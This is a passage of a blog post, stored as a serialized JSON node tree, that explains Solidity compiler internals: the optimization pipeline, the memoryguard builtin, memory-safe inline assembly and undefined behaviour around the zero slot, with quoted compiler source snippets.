generateEVMFromIR",{"type":23,"tag":504,"props":31263,"children":31264},{"style":5058},[31265],{"type":29,"value":603},{"type":23,"tag":504,"props":31267,"children":31268},{"style":5047},[31269],{"type":29,"value":6613},{"type":23,"tag":504,"props":31271,"children":31272},{"style":5058},[31273],{"type":29,"value":31221},{"type":23,"tag":504,"props":31275,"children":31276},{"class":5016,"line":5336},[31277],{"type":23,"tag":504,"props":31278,"children":31279},{"style":5067},[31280],{"type":29,"value":31281},"        else\n",{"type":23,"tag":504,"props":31283,"children":31284},{"class":5016,"line":5349},[31285,31290,31294,31298],{"type":23,"tag":504,"props":31286,"children":31287},{"style":5139},[31288],{"type":29,"value":31289},"            compileContract",{"type":23,"tag":504,"props":31291,"children":31292},{"style":5058},[31293],{"type":29,"value":603},{"type":23,"tag":504,"props":31295,"children":31296},{"style":5047},[31297],{"type":29,"value":6613},{"type":23,"tag":504,"props":31299,"children":31300},{"style":5058},[31301],{"type":29,"value":31302},"contract, otherCompilers);\n",{"type":23,"tag":504,"props":31304,"children":31305},{"class":5016,"line":5367},[31306],{"type":23,"tag":504,"props":31307,"children":31308},{"style":5058},[31309],{"type":29,"value":5403},{"type":23,"tag":32,"props":31311,"children":31312},{},[31313,31315,31322,31323,31330],{"type":29,"value":31314},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":23,"tag":68,"props":31316,"children":31319},{"href":31317,"rel":31318},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[72],[31320],{"type":29,"value":31321},"YulStack::optimize",{"type":29,"value":4478},{"type":23,"tag":68,"props":31324,"children":31327},{"href":31325,"rel":31326},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[72],[31328],{"type":29,"value":31329},"Assembly::optimize",{"type":29,"value":357},{"type":23,"tag":32,"props":31332,"children":31333},{},[31334],{"type":29,"value":31335},"In total, there are four steps.",{"type":23,"tag":139,"props":31337,"children":31338},{},[31339,31343,31348,31352],{"type":23,"tag":143,"props":31340,"children":31341},{},[31342],{"type":29,"value":31156},{"type":23,"tag":143,"props":31344,"children":31345},{},[31346],{"type":29,"value":31347},"Optimization of YUL IR",{"type":23,"tag":143,"props":31349,"children":31350},{},[31351],{"type":29,"value":31161},{"type":23,"tag":143,"props":31353,"children":31354},{},[31355],{"type":29,"value":31356},"Optimization of EVM opcodes",{"type":23,"tag":32,"props":31358,"children":31359},{},[31360],{"type":29,"value":31361},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":23,"tag":446,"props":31363,"children":31364},{},[31365],{"type":23,"tag":32,"props":31366,"children":31367},{},[31368],{"type":29,"value":31369},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":23,"tag":32,"props":31371,"children":31372},{},[31373],{"type":29,"value":31374},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":23,"tag":32,"props":31376,"children":31377},{},[31378],{"type":29,"value":31379},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":23,"tag":32,"props":31381,"children":31382},{},[31383],{"type":29,"value":31384},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":23,"tag":24,"props":31386,"children":31388},{"id":31387},"guarantees",[31389],{"type":29,"value":31390},"Guarantees",{"type":23,"tag":32,"props":31392,"children":31393},{},[31394,31395,31402,31404,31409],{"type":29,"value":18661},{"type":23,"tag":68,"props":31396,"children":31399},{"href":31397,"rel":31398},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[72],[31400],{"type":29,"value":31401},"Solidity memory layout",{"type":29,"value":31403}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":23,"tag":4321,"props":31405,"children":31406},{},[31407],{"type":29,"value":31408},"no information about this layout",{"type":29,"value":357},{"type":23,"tag":32,"props":31411,"children":31412},{},[31413],{"type":29,"value":31414},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":23,"tag":32,"props":31416,"children":31417},{},[31418,31420,31426,31428,31434],{"type":29,"value":31419},"Introducing ",{"type":23,"tag":154,"props":31421,"children":31423},{"className":31422},[],[31424],{"type":29,"value":31425},"memoryguard",{"type":29,"value":31427},". If you've ever looked at the output of ",{"type":23,"tag":154,"props":31429,"children":31431},{"className":31430},[],[31432],{"type":29,"value":31433},"solc --ir",{"type":29,"value":31435},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":23,"tag":4743,"props":31437,"children":31439},{"className":6516,"code":31438,"language":6515,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[31440],{"type":23,"tag":154,"props":31441,"children":31442},{"__ignoreMap":7},[31443,31461],{"type":23,"tag":504,"props":31444,"children":31445},{"class":5016,"line":5017},[31446,31451,31456],{"type":23,"tag":504,"props":31447,"children":31448},{"style":5021},[31449],{"type":29,"value":31450},"    /// @src 0:26:371  \"contract ",{"type":23,"tag":504,"props":31452,"children":31453},{"style":5030},[31454],{"type":29,"value":31455},"XXX",{"type":23,"tag":504,"props":31457,"children":31458},{"style":5021},[31459],{"type":29,"value":31460}," {...\"\n",{"type":23,"tag":504,"props":31462,"children":31463},{"class":5016,"line":4868},[31464,31469,31473,31478,31482,31486,31490,31495],{"type":23,"tag":504,"props":31465,"children":31466},{"style":5139},[31467],{"type":29,"value":31468},"    store",{"type":23,"tag":504,"props":31470,"children":31471},{"style":5058},[31472],{"type":29,"value":603},{"type":23,"tag":504,"props":31474,"children":31475},{"style":5083},[31476],{"type":29,"value":31477},"64",{"type":23,"tag":504,"props":31479,"children":31480},{"style":5058},[31481],{"type":29,"value":4367},{"type":23,"tag":504,"props":31483,"children":31484},{"style":5139},[31485],{"type":29,"value":31425},{"type":23,"tag":504,"props":31487,"children":31488},{"style":5058},[31489],{"type":29,"value":603},{"type":23,"tag":504,"props":31491,"children":31492},{"style":5083},[31493],{"type":29,"value":31494},"0x80",{"type":23,"tag":504,"props":31496,"children":31497},{"style":5058},[31498],{"type":29,"value":21764},{"type":23,"tag":32,"props":31500,"children":31501},{},[31502,31504,31511],{"type":29,"value":31503},"From ",{"type":23,"tag":68,"props":31505,"children":31508},{"href":31506,"rel":31507},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[72],[31509],{"type":29,"value":31510},"the documentation",{"type":29,"value":2270},{"type":23,"tag":446,"props":31513,"children":31514},{},[31515],{"type":23,"tag":32,"props":31516,"children":31517},{},[31518,31520,31526,31528,31534,31536,31541],{"type":29,"value":31519},"The caller of ",{"type":23,"tag":154,"props":31521,"children":31523},{"className":31522},[],[31524],{"type":29,"value":31525},"let ptr := memoryguard(size)",{"type":29,"value":31527}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":23,"tag":154,"props":31529,"children":31531},{"className":31530},[],[31532],{"type":29,"value":31533},"[0, size)",{"type":29,"value":31535}," or the unbounded range starting at ",{"type":23,"tag":154,"props":31537,"children":31539},{"className":31538},[],[31540],{"type":29,"value":15995},{"type":29,"value":357},{"type":23,"tag":32,"props":31543,"children":31544},{},[31545,31547,31552,31554,31560],{"type":29,"value":31546},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":23,"tag":154,"props":31548,"children":31550},{"className":31549},[],[31551],{"type":29,"value":31425},{"type":29,"value":31553}," return ",{"type":23,"tag":154,"props":31555,"children":31557},{"className":31556},[],[31558],{"type":29,"value":31559},"size + 32",{"type":29,"value":31561},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":23,"tag":32,"props":31563,"children":31564},{},[31565,31567,31574,31576,31581,31583,31588],{"type":29,"value":31566},"An example of this optimization in practice ",{"type":23,"tag":68,"props":31568,"children":31571},{"href":31569,"rel":31570},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[72],[31572],{"type":29,"value":31573},"is the StackLimitEvader",{"type":29,"value":31575},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":23,"tag":4321,"props":31577,"children":31578},{},[31579],{"type":29,"value":31580},"only",{"type":29,"value":31582}," optimization pass that relies on the semantic information communicated by ",{"type":23,"tag":154,"props":31584,"children":31586},{"className":31585},[],[31587],{"type":29,"value":31425},{"type":29,"value":357},{"type":23,"tag":32,"props":31590,"children":31591},{},[31592],{"type":29,"value":31593},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":23,"tag":32,"props":31595,"children":31596},{},[31597,31599,31605],{"type":29,"value":31598},"Fear not, for we can remove this pointer entirely and call ",{"type":23,"tag":154,"props":31600,"children":31602},{"className":31601},[],[31603],{"type":29,"value":31604},"memoryguard(0x60)",{"type":29,"value":31606}," instead. The rest of the pipeline will still work.",{"type":23,"tag":24,"props":31608,"children":31609},{"id":31118},[31610],{"type":29,"value":31611},"Memory Safety",{"type":23,"tag":32,"props":31613,"children":31614},{},[31615],{"type":29,"value":31616},"So what does memory safety mean?",{"type":23,"tag":32,"props":31618,"children":31619},{},[31620,31622,31628],{"type":29,"value":31621},"The Solidity documentation provides ",{"type":23,"tag":68,"props":31623,"children":31625},{"href":31093,"rel":31624},[72],[31626],{"type":29,"value":31627},"a set of constraints",{"type":29,"value":31629},", not a definition.",{"type":23,"tag":446,"props":31631,"children":31632},{},[31633,31638],{"type":23,"tag":32,"props":31634,"children":31635},{},[31636],{"type":29,"value":31637},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":23,"tag":139,"props":31639,"children":31640},{},[31641,31646,31651,31656],{"type":23,"tag":143,"props":31642,"children":31643},{},[31644],{"type":29,"value":31645},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":23,"tag":143,"props":31647,"children":31648},{},[31649],{"type":29,"value":31650},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":23,"tag":143,"props":31652,"children":31653},{},[31654],{"type":29,"value":31655},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":23,"tag":143,"props":31657,"children":31658},{},[31659],{"type":29,"value":31660},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":23,"tag":32,"props":31662,"children":31663},{},[31664,31666,31673,31683],{"type":29,"value":31665},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":23,"tag":68,"props":31667,"children":31670},{"href":31668,"rel":31669},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[72],[31671],{"type":29,"value":31672},"removes the memory guard",{"type":23,"tag":17520,"props":31674,"children":31675},{},[31676],{"type":23,"tag":68,"props":31677,"children":31681},{"href":31678,"ariaDescribedBy":31679,"dataFootnoteRef":7,"id":31680},"#user-content-fn-1",[17527],"user-content-fnref-1",[31682],{"type":29,"value":826},{"type":29,"value":357},{"type":23,"tag":4743,"props":31685,"children":31687},{"className":31164,"code":31686,"language":31166,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  }\n",[31688],{"type":23,"tag":154,"props":31689,"children":31690},{"__ignoreMap":7},[31691,31699,31707,31714,31750,31757,31765,31773,31781,31789,31797,31810,31823,31831],{"type":23,"tag":504,"props":31692,"children":31693},{"class":5016,"line":5017},[31694],{"type":23,"tag":504,"props":31695,"children":31696},{"style":5021},[31697],{"type":29,"value":31698},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":23,"tag":504,"props":31700,"children":31701},{"class":5016,"line":4868},[31702],{"type":23,"tag":504,"props":31703,"children":31704},{"style":5021},[31705],{"type":29,"value":31706},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":23,"tag":504,"props":31708,"children":31709},{"class":5016,"line":4876},[31710],{"type":23,"tag":504,"props":31711,"children":31712},{"emptyLinePlaceholder":15},[31713],{"type":29,"value":5734},{"type":23,"tag":504,"props":31715,"children":31716},{"class":5016,"line":5099},[31717,31722,31727,31732,31736,31741,31746],{"type":23,"tag":504,"props":31718,"children":31719},{"style":5467},[31720],{"type":29,"value":31721},"string",{"type":23,"tag":504,"props":31723,"children":31724},{"style":5058},[31725],{"type":29,"value":31726}," IRGenerator::",{"type":23,"tag":504,"props":31728,"children":31729},{"style":5139},[31730],{"type":29,"value":31731},"memoryInit",{"type":23,"tag":504,"props":31733,"children":31734},{"style":5058},[31735],{"type":29,"value":603},{"type":23,"tag":504,"props":31737,"children":31738},{"style":5030},[31739],{"type":29,"value":31740},"bool",{"type":23,"tag":504,"props":31742,"children":31743},{"style":5041},[31744],{"type":29,"value":31745}," _useMemoryGuard",{"type":23,"tag":504,"props":31747,"children":31748},{"style":5058},[31749],{"type":29,"value":5200},{"type":23,"tag":504,"props":31751,"children":31752},{"class":5016,"line":5203},[31753],{"type":23,"tag":504,"props":31754,"children":31755},{"style":5058},[31756],{"type":29,"value":12926},{"type":23,"tag":504,"props":31758,"children":31759},{"class":5016,"line":5308},[31760],{"type":23,"tag":504,"props":31761,"children":31762},{"style":5021},[31763],{"type":29,"value":31764}," // This function should be called at the beginning of the EVM call frame\n",{"type":23,"tag":504,"props":31766,"children":31767},{"class":5016,"line":5336},[31768],{"type":23,"tag":504,"props":31769,"children":31770},{"style":5021},[31771],{"type":29,"value":31772}," // and thus can assume all memory to be zero, including the contents of\n",{"type":23,"tag":504,"props":31774,"children":31775},{"class":5016,"line":5349},[31776],{"type":23,"tag":504,"props":31777,"children":31778},{"style":5021},[31779],{"type":29,"value":31780}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":23,"tag":504,"props":31782,"children":31783},{"class":5016,"line":5367},[31784],{"type":23,"tag":504,"props":31785,"children":31786},{"style":5067},[31787],{"type":29,"value":31788}," return\n",{"type":23,"tag":504,"props":31790,"children":31791},{"class":5016,"line":5388},[31792],{"type":23,"tag":504,"props":31793,"children":31794},{"style":5058},[31795],{"type":29,"value":31796},"  Whiskers{\n",{"type":23,"tag":504,"props":31798,"children":31799},{"class":5016,"line":5397},[31800,31805],{"type":23,"tag":504,"props":31801,"children":31802},{"style":5058},[31803],{"type":29,"value":31804},"   _useMemoryGuard ",{"type":23,"tag":504,"props":31806,"children":31807},{"style":5047},[31808],{"type":29,"value":31809},"?\n",{"type":23,"tag":504,"props":31811,"children":31812},{"class":5016,"line":5649},[31813,31818],{"type":23,"tag":504,"props":31814,"children":31815},{"style":6297},[31816],{"type":29,"value":31817},"   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":23,"tag":504,"props":31819,"children":31820},{"style":5047},[31821],{"type":29,"value":31822}," :\n",{"type":23,"tag":504,"props":31824,"children":31825},{"class":5016,"line":5666},[31826],{"type":23,"tag":504,"props":31827,"children":31828},{"style":6297},[31829],{"type":29,"value":31830},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":23,"tag":504,"props":31832,"children":31833},{"class":5016,"line":5683},[31834],{"type":23,"tag":504,"props":31835,"children":31836},{"style":5058},[31837],{"type":29,"value":7917},{"type":23,"tag":32,"props":31839,"children":31840},{},[31841,31846,31848,31854],{"type":23,"tag":154,"props":31842,"children":31844},{"className":31843},[],[31845],{"type":29,"value":31433},{"type":29,"value":31847}," will now no longer have ",{"type":23,"tag":154,"props":31849,"children":31851},{"className":31850},[],[31852],{"type":29,"value":31853},"memoryguard(0x80)",{"type":29,"value":31855}," as expected.",{"type":23,"tag":4743,"props":31857,"children":31859},{"className":6516,"code":31858,"language":6515,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    mstore(64, 128)\n",[31860],{"type":23,"tag":154,"props":31861,"children":31862},{"__ignoreMap":7},[31863,31878],{"type":23,"tag":504,"props":31864,"children":31865},{"class":5016,"line":5017},[31866,31870,31874],{"type":23,"tag":504,"props":31867,"children":31868},{"style":5021},[31869],{"type":29,"value":31450},{"type":23,"tag":504,"props":31871,"children":31872},{"style":5030},[31873],{"type":29,"value":31455},{"type":23,"tag":504,"props":31875,"children":31876},{"style":5021},[31877],{"type":29,"value":31460},{"type":23,"tag":504,"props":31879,"children":31880},{"class":5016,"line":4868},[31881,31886,31890,31894,31898,31903],{"type":23,"tag":504,"props":31882,"children":31883},{"style":5139},[31884],{"type":29,"value":31885},"    mstore",{"type":23,"tag":504,"props":31887,"children":31888},{"style":5058},[31889],{"type":29,"value":603},{"type":23,"tag":504,"props":31891,"children":31892},{"style":5083},[31893],{"type":29,"value":31477},{"type":23,"tag":504,"props":31895,"children":31896},{"style":5058},[31897],{"type":29,"value":4367},{"type":23,"tag":504,"props":31899,"children":31900},{"style":5083},[31901],{"type":29,"value":31902},"128",{"type":23,"tag":504,"props":31904,"children":31905},{"style":5058},[31906],{"type":29,"value":5200},{"type":23,"tag":32,"props":31908,"children":31909},{},[31910,31912,31917,31919,31924],{"type":29,"value":31911},"Semantically, the absence of ",{"type":23,"tag":154,"props":31913,"children":31915},{"className":31914},[],[31916],{"type":29,"value":31425},{"type":29,"value":31918}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":23,"tag":154,"props":31920,"children":31922},{"className":31921},[],[31923],{"type":29,"value":31425},{"type":29,"value":31925}," invariant.",{"type":23,"tag":446,"props":31927,"children":31928},{},[31929],{"type":23,"tag":32,"props":31930,"children":31931},{},[31932,31933,31938,31939,31944,31945,31950],{"type":29,"value":31519},{"type":23,"tag":154,"props":31934,"children":31936},{"className":31935},[],[31937],{"type":29,"value":31525},{"type":29,"value":31527},{"type":23,"tag":154,"props":31940,"children":31942},{"className":31941},[],[31943],{"type":29,"value":31533},{"type":29,"value":31535},{"type":23,"tag":154,"props":31946,"children":31948},{"className":31947},[],[31949],{"type":29,"value":15995},{"type":29,"value":357},{"type":23,"tag":32,"props":31952,"children":31953},{},[31954],{"type":29,"value":31955},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":23,"tag":24,"props":31957,"children":31959},{"id":31958},"undefined-behavior",[31960],{"type":29,"value":31961},"Undefined Behavior",{"type":23,"tag":32,"props":31963,"children":31964},{},[31965,31967,31972,31974,31979,31981,31987],{"type":29,"value":31966},"How strict is memory safety? When it comes to ",{"type":23,"tag":154,"props":31968,"children":31970},{"className":31969},[],[31971],{"type":29,"value":31425},{"type":29,"value":31973},", only touching memory after 0x80 seems to matter. Is ",{"type":23,"tag":154,"props":31975,"children":31977},{"className":31976},[],[31978],{"type":29,"value":31083},{"type":29,"value":31980}," annotated assembly that touches memory at ",{"type":23,"tag":154,"props":31982,"children":31984},{"className":31983},[],[31985],{"type":29,"value":31986},"[0x40, 0x7f]",{"type":29,"value":31988}," really safe?",{"type":23,"tag":32,"props":31990,"children":31991},{},[31992,31993,32000,32002,32007],{"type":29,"value":18661},{"type":23,"tag":68,"props":31994,"children":31997},{"href":31995,"rel":31996},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[72],[31998],{"type":29,"value":31999},"Solidity documentation",{"type":29,"value":32001}," mentions ",{"type":23,"tag":4321,"props":32003,"children":32004},{},[32005],{"type":29,"value":32006},"undefined behavior",{"type":29,"value":32008}," three times.",{"type":23,"tag":139,"props":32010,"children":32011},{},[32012,32017,32032],{"type":23,"tag":143,"props":32013,"children":32014},{},[32015],{"type":29,"value":32016},"The existence of a dangling reference",{"type":23,"tag":143,"props":32018,"children":32019},{},[32020,32022],{"type":29,"value":32021},"Using verbatim improperly",{"type":23,"tag":17520,"props":32023,"children":32024},{},[32025],{"type":23,"tag":68,"props":32026,"children":32030},{"href":32027,"ariaDescribedBy":32028,"dataFootnoteRef":7,"id":32029},"#user-content-fn-2",[17527],"user-content-fnref-2",[32031],{"type":29,"value":5164},{"type":23,"tag":143,"props":32033,"children":32034},{},[32035],{"type":29,"value":32036},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":23,"tag":32,"props":32038,"children":32039},{},[32040],{"type":29,"value":32041},"Why does this matter?",{"type":23,"tag":32,"props":32043,"children":32044},{},[32045,32047,32054,32056,32063],{"type":29,"value":32046},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":23,"tag":68,"props":32048,"children":32051},{"href":32049,"rel":32050},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[72],[32052],{"type":29,"value":32053},"signed integer overflow is undefined",{"type":29,"value":32055},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":23,"tag":68,"props":32057,"children":32060},{"href":32058,"rel":32059},"https://blog.regehr.org/archives/1307",[72],[32061],{"type":29,"value":32062},"years down the line",{"type":29,"value":357},{"type":23,"tag":32,"props":32065,"children":32066},{},[32067,32069,32076,32077,32082],{"type":29,"value":32068},"Going back to Solidity, the specification makes ",{"type":23,"tag":68,"props":32070,"children":32073},{"href":32071,"rel":32072},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[72],[32074],{"type":29,"value":32075},"it unambiguously clear",{"type":29,"value":20582},{"type":23,"tag":4321,"props":32078,"children":32079},{},[32080],{"type":29,"value":32081},"Thou shalt not modify the zero slot",{"type":29,"value":357},{"type":23,"tag":446,"props":32084,"children":32085},{},[32086],{"type":23,"tag":32,"props":32087,"children":32088},{},[32089],{"type":29,"value":32090},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":23,"tag":32,"props":32092,"children":32093},{},[32094,32096,32101],{"type":29,"value":32095},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":23,"tag":4321,"props":32097,"children":32098},{},[32099],{"type":29,"value":32100},"in Solidity",{"type":29,"value":357},{"type":23,"tag":32,"props":32103,"children":32104},{},[32105],{"type":29,"value":32106},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":23,"tag":139,"props":32108,"children":32109},{},[32110],{"type":23,"tag":143,"props":32111,"children":32112},{},[32113,32115,32122],{"type":29,"value":32114},"It very clearly ",{"type":23,"tag":68,"props":32116,"children":32119},{"href":32117,"rel":32118},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[72],[32120],{"type":29,"value":32121},"holds true today",{"type":29,"value":357},{"type":23,"tag":4743,"props":32124,"children":32126},{"className":31164,"code":32125,"language":31166,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[32127],{"type":23,"tag":154,"props":32128,"children":32129},{"__ignoreMap":7},[32130,32170,32177,32190,32262,32283,32334,32341],{"type":23,"tag":504,"props":32131,"children":32132},{"class":5016,"line":5017},[32133,32137,32142,32147,32151,32156,32161,32166],{"type":23,"tag":504,"props":32134,"children":32135},{"style":5030},[32136],{"type":29,"value":31740},{"type":23,"tag":504,"props":32138,"children":32139},{"style":5058},[32140],{"type":29,"value":32141}," IRGeneratorForStatements::",{"type":23,"tag":504,"props":32143,"children":32144},{"style":5139},[32145],{"type":29,"value":32146},"visit",{"type":23,"tag":504,"props":32148,"children":32149},{"style":5058},[32150],{"type":29,"value":603},{"type":23,"tag":504,"props":32152,"children":32153},{"style":5467},[32154],{"type":29,"value":32155},"InlineAssembly",{"type":23,"tag":504,"props":32157,"children":32158},{"style":5030},[32159],{"type":29,"value":32160}," const&",{"type":23,"tag":504,"props":32162,"children":32163},{"style":5041},[32164],{"type":29,"value":32165}," _inlineAsm",{"type":23,"tag":504,"props":32167,"children":32168},{"style":5058},[32169],{"type":29,"value":5200},{"type":23,"tag":504,"props":32171,"children":32172},{"class":5016,"line":4868},[32173],{"type":23,"tag":504,"props":32174,"children":32175},{"style":5058},[32176],{"type":29,"value":12926},{"type":23,"tag":504,"props":32178,"children":32179},{"class":5016,"line":4876},[32180,32185],{"type":23,"tag":504,"props":32181,"children":32182},{"style":5139},[32183],{"type":29,"value":32184},"    setLocation",{"type":23,"tag":504,"props":32186,"children":32187},{"style":5058},[32188],{"type":29,"value":32189},"(_inlineAsm);\n",{"type":23,"tag":504,"props":32191,"children":32192},{"class":5016,"line":5099},[32193,32197,32201,32205,32210,32214,32219,32224,32229,32233,32237,32241,32245,32249,32253,32258],{"type":23,"tag":504,"props":32194,"children":32195},{"style":5067},[32196],{"type":29,"value":14325},{"type":23,"tag":504,"props":32198,"children":32199},{"style":5058},[32200],{"type":29,"value":5110},{"type":23,"tag":504,"props":32202,"children":32203},{"style":5047},[32204],{"type":29,"value":6613},{"type":23,"tag":504,"props":32206,"children":32207},{"style":5041},[32208],{"type":29,"value":32209},"_inlineAsm",{"type":23,"tag":504,"props":32211,"children":32212},{"style":5058},[32213],{"type":29,"value":357},{"type":23,"tag":504,"props":32215,"children":32216},{"style":5139},[32217],{"type":29,"value":32218},"annotation",{"type":23,"tag":504,"props":32220,"children":32221},{"style":5058},[32222],{"type":29,"value":32223},"().",{"type":23,"tag":504,"props":32225,"children":32226},{"style":5041},[32227],{"type":29,"value":32228},"hasMemoryEffects",{"type":23,"tag":504,"props":32230,"children":32231},{"style":5047},[32232],{"type":29,"value":16231},{"type":23,"tag":504,"props":32234,"children":32235},{"style":5047},[32236],{"type":29,"value":14910},{"type":23,"tag":504,"props":32238,"children":32239},{"style":5041},[32240],{"type":29,"value":32209},{"type":23,"tag":504,"props":32242,"children":32243},{"style":5058},[32244],{"type":29,"value":357},{"type":23,"tag":504,"props":32246,"children":32247},{"style":5139},[32248],{"type":29,"value":32218},{"type":23,"tag":504,"props":32250,"children":32251},{"style":5058},[32252],{"type":29,"value":32223},{"type":23,"tag":504,"props":32254,"children":32255},{"style":5041},[32256],{"type":29,"value":32257},"markedMemorySafe",{"type":23,"tag":504,"props":32259,"children":32260},{"style":5058},[32261],{"type":29,"value":5200},{"type":23,"tag":504,"props":32263,"children":32264},{"class":5016,"line":5203},[32265,32270,32274,32279],{"type":23,"tag":504,"props":32266,"children":32267},{"style":5041},[32268],{"type":29,"value":32269},"        m_context",{"type":23,"tag":504,"props":32271,"children":32272},{"style":5058},[32273],{"type":29,"value":357},{"type":23,"tag":504,"props":32275,"children":32276},{"style":5139},[32277],{"type":29,"value":32278},"setMemoryUnsafeInlineAssemblySeen",{"type":23,"tag":504,"props":32280,"children":32281},{"style":5058},[32282],{"type":29,"value":5725},{"type":23,"tag":504,"props":32284,"children":32285},{"class":5016,"line":5308},[32286,32291,32295,32299,32304,32309,32313,32317,32321,32325,32330],{"type":23,"tag":504,"props":32287,"children":32288},{"style":5058},[32289],{"type":29,"value":32290},"    CopyTranslate bodyCopier{",{"type":23,"tag":504,"props":32292,"children":32293},{"style":5041},[32294],{"type":29,"value":32209},{"type":23,"tag":504,"props":32296,"children":32297},{"style":5058},[32298],{"type":29,"value":357},{"type":23,"tag":504,"props":32300,"children":32301},{"style":5139},[32302],{"type":29,"value":32303},"dialect",{"type":23,"tag":504,"props":32305,"children":32306},{"style":5058},[32307],{"type":29,"value":32308},"(), m_context, ",{"type":23,"tag":504,"props":32310,"children":32311},{"style":5041},[32312],{"type":29,"value":32209},{"type":23,"tag":504,"props":32314,"children":32315},{"style":5058},[32316],{"type":29,"value":357},{"type":23,"tag":504,"props":32318,"children":32319},{"style":5139},[32320],{"type":29,"value":32218},{"type":23,"tag":504,"props":32322,"children":32323},{"style":5058},[32324],{"type":29,"value":32223},{"type":23,"tag":504,"props":32326,"children":32327},{"style":5041},[32328],{"type":29,"value":32329},"externalReferences",{"type":23,"tag":504,"props":32331,"children":32332},{"style":5058},[32333],{"type":29,"value":18625},{"type":23,"tag":504,"props":32335,"children":32336},{"class":5016,"line":5336},[32337],{"type":23,"tag":504,"props":32338,"children":32339},{"emptyLinePlaceholder":15},[32340],{"type":29,"value":5734},{"type":23,"tag":504,"props":32342,"children":32343},{"class":5016,"line":5349},[32344,32349,32353,32358,32362,32366,32370,32375],{"type":23,"tag":504,"props":32345,"children":32346},{"style":5058},[32347],{"type":29,"value":32348},"    yul::Statement modified ",{"type":23,"tag":504,"props":32350,"children":32351},{"style":5047},[32352],{"type":29,"value":546},{"type":23,"tag":504,"props":32354,"children":32355},{"style":5139},[32356],{"type":29,"value":32357}," 